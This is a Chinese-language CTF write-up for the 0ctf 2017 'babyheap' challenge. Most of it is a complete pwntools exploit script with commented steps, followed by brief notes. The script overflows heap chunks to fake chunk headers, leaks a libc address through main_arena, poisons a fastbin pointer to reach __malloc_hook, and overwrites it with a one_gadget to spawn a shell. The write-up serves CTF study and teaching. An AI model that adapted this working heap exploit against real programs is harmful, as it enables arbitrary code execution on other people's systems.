堆溢出
- 先给出exp,exp中我标明了每一个步骤
- 每个步骤执行完后,内存中的地址空间我也贴出来了
exp
from pwn import *
p = process('./babyheap_0ctf_2017')
#p = remote('node3.buuoj.cn',26798)
elf = ELF('./babyheap_0ctf_2017')
context.log_level = 'debug'
def alloc(size):
p.sendlineafter('Command: ',str(1))
p.sendlineafter('Size: ',str(size))
def fill(index, size, content):
p.sendlineafter('Command: ',str(2))
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content.ljust(size,b'\x00'))
def free(index):
p.sendlineafter('Command: ',str(3))
p.sendlineafter('Index: ',str(index))
def dump(index):
p.sendlineafter('Command: ',str(4))
p.sendlineafter('Index: ',str(index))
p.recvuntil('Content: \n')
#step1 创建3个chunk
alloc(0x20) #0
alloc(0x40) #1
alloc(0x100) #2
#step2 修改chunk1 head
fill(0,0x30,b'a'*0x20 + b'\x00'*8+b'\x71')
#step3 在fake chunk尾部构造合法的chunk head
fill(2,0x20,b'a'*0x10 + b'\x00'*8+b'\x21')
#step4 释放fake chunk
free(1) #important
#step5 申请同等大小的chunk
alloc(0x60) #important id1
#step6 还原chunk2 头部
fill(1,0x50,b'b'*0x40 + b'\x00'*8 + b'\x11\x01')
#step7 申请chunk3 防止释放chunk2后合并到top chunk
alloc(0x20)# id 3
#step8 释放chunk2
free(2)
#step9 泄露libc地址
dump(1)
libc_88 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('libc_88==>'+str(hex(libc_88)))
libc_base = libc_88-0x58-0x3c4b20
log.success('libc_base==>'+str(hex(libc_base)))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
malloc_hook = libc_base + libc.sym['__malloc_hook']
fake_chunk = malloc_hook-0x23
log.success('fake_chunk==>'+str(hex(fake_chunk)))
#step10 释放chunk1
free(1)
#step11 修改fast bin 的fd指针指向malloc_hook附近的fake chunk
fill(0,0x40,b'a'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk) + p64(0))
#step12 分配fast bin1
alloc(0x60) #1
#step13 分配 fake chunk
alloc(0x60) #2
#step14 修改fake chunk中的内容 覆盖__malloc_hook指针为one_gadget
fill(2,0x1b,b'a'*3+p64(0)*2 + p64(libc_base+0x4527a))
#step15 再次申请chunk时会调用malloc_hook函数
alloc(0x100)
p.interactive()
创建3个chunk
修改chunk1 head
将fake chunk 尾部造假的chunk head
释放chunk1 即fake chunk
再申请和fake chunk一样大小的chunk
还原chunk2 的头部
申请chunk3, 防止释放chunk2 后,合并到top chunk
free chunk2
泄露main_area的地址
这里泄露的是main_arena+88 的地址
这里得到mian_arena的实际地址
通过与libc中main_arena地址计算得到libc的偏移libc_base
这里就可以用__malloc_hook 的地址来表示fake chunk的地址